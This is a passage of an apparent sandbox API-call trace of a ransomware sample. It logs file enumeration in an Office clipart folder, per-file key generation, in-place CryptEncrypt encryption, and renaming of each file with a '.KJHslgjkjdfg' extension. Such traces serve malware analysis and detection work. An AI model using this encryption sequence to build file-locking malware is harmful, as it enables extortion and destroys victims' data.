nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0191.611] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0191.612] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0191.612] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0191.612] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.612] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.612] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.612] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x319e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x319e, lpOverlapped=0x0) returned 1 [0191.613] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x31a0, dwBufLen=0x31a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x31a0) returned 1 [0191.613] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.613] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x31a0, lpOverlapped=0x0) returned 1 [0191.613] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.613] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.614] SetEndOfFile (hFile=0x130) returned 1 [0191.616] GetProcessHeap () returned 0x2ef0000 [0191.616] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.616] GetProcessHeap () returned 0x2ef0000 [0191.616] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.616] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.kjhslgjkjdfg")) returned 1 [0191.627] CloseHandle (hObject=0x130) returned 1 [0191.627] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf316a100, ftCreationTime.dwHighDateTime=0x1bd4bcc, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf316a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcc, nFileSizeHigh=0x0, nFileSizeLow=0xd9c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00120_.GIF", cAlternateFileName="")) returned 1 [0191.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.628] GetProcessHeap () returned 0x2ef0000 [0191.628] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.628] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.628] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0191.628] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.630] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.630] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.630] GetProcessHeap () returned 0x2ef0000 [0191.630] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.630] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0191.630] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.630] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0191.630] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.630] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0191.630] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0191.630] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0191.630] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0191.631] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.631] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.631] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.631] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd9c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd9c, lpOverlapped=0x0) returned 1 [0191.631] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xda0, dwBufLen=0xda0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xda0) returned 1 [0191.631] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.631] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xda0, lpOverlapped=0x0) returned 1 [0191.631] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.631] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.631] SetEndOfFile (hFile=0x130) returned 1 [0191.633] GetProcessHeap () returned 0x2ef0000 [0191.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.633] GetProcessHeap () returned 0x2ef0000 [0191.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.633] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.kjhslgjkjdfg")) returned 1 [0191.643] CloseHandle (hObject=0x130) returned 1 [0191.643] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33bee00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33bee00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00126_.GIF", cAlternateFileName="")) returned 1 [0191.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.643] GetProcessHeap () returned 0x2ef0000 [0191.643] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.643] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.644] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0191.644] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0191.646] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.646] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.646] GetProcessHeap () returned 0x2ef0000 [0191.646] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.646] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0191.646] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.646] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0191.646] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.646] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0191.646] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0191.646] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0191.646] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0191.646] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.646] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.646] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.646] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xc44, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xc44, lpOverlapped=0x0) returned 1 [0191.646] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc50, dwBufLen=0xc50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc50) returned 1 [0191.647] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.647] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xc50, lpOverlapped=0x0) returned 1 [0191.647] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.647] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.647] SetEndOfFile (hFile=0x130) returned 1 [0191.649] GetProcessHeap () returned 0x2ef0000 [0191.649] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.649] GetProcessHeap () returned 0x2ef0000 [0191.649] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.649] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.kjhslgjkjdfg")) returned 1 [0191.651] CloseHandle (hObject=0x130) returned 1 [0191.651] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00129_.GIF", cAlternateFileName="")) returned 1 [0191.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.652] GetProcessHeap () returned 0x2ef0000 [0191.652] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.652] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.652] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0191.652] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0191.653] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.653] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.653] GetProcessHeap () returned 0x2ef0000 [0191.653] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.654] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0191.654] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.654] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0191.654] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.654] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0191.654] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0191.654] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0191.654] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0191.654] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.654] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.654] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.654] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x30c2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x30c2, lpOverlapped=0x0) returned 1 [0191.676] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x30d0, dwBufLen=0x30d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x30d0) returned 1 [0191.676] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.676] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x30d0, lpOverlapped=0x0) returned 1 [0191.676] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.676] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x31a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.676] SetEndOfFile (hFile=0x130) returned 1 [0191.678] GetProcessHeap () returned 0x2ef0000 [0191.678] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.678] GetProcessHeap () returned 0x2ef0000 [0191.678] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.678] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.kjhslgjkjdfg")) returned 1 [0191.681] CloseHandle (hObject=0x130) returned 1 [0191.681] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffa86700, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffa86700, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x1485, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00130_.GIF", cAlternateFileName="")) returned 1 [0191.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.681] GetProcessHeap () returned 0x2ef0000 [0191.681] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.682] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.682] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0191.682] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xb, lpOverlapped=0x0) returned 1 [0191.684] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.684] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.684] GetProcessHeap () returned 0x2ef0000 [0191.684] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.684] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0191.684] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.684] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0191.684] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.684] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0191.684] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0191.684] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0191.684] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0191.684] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: 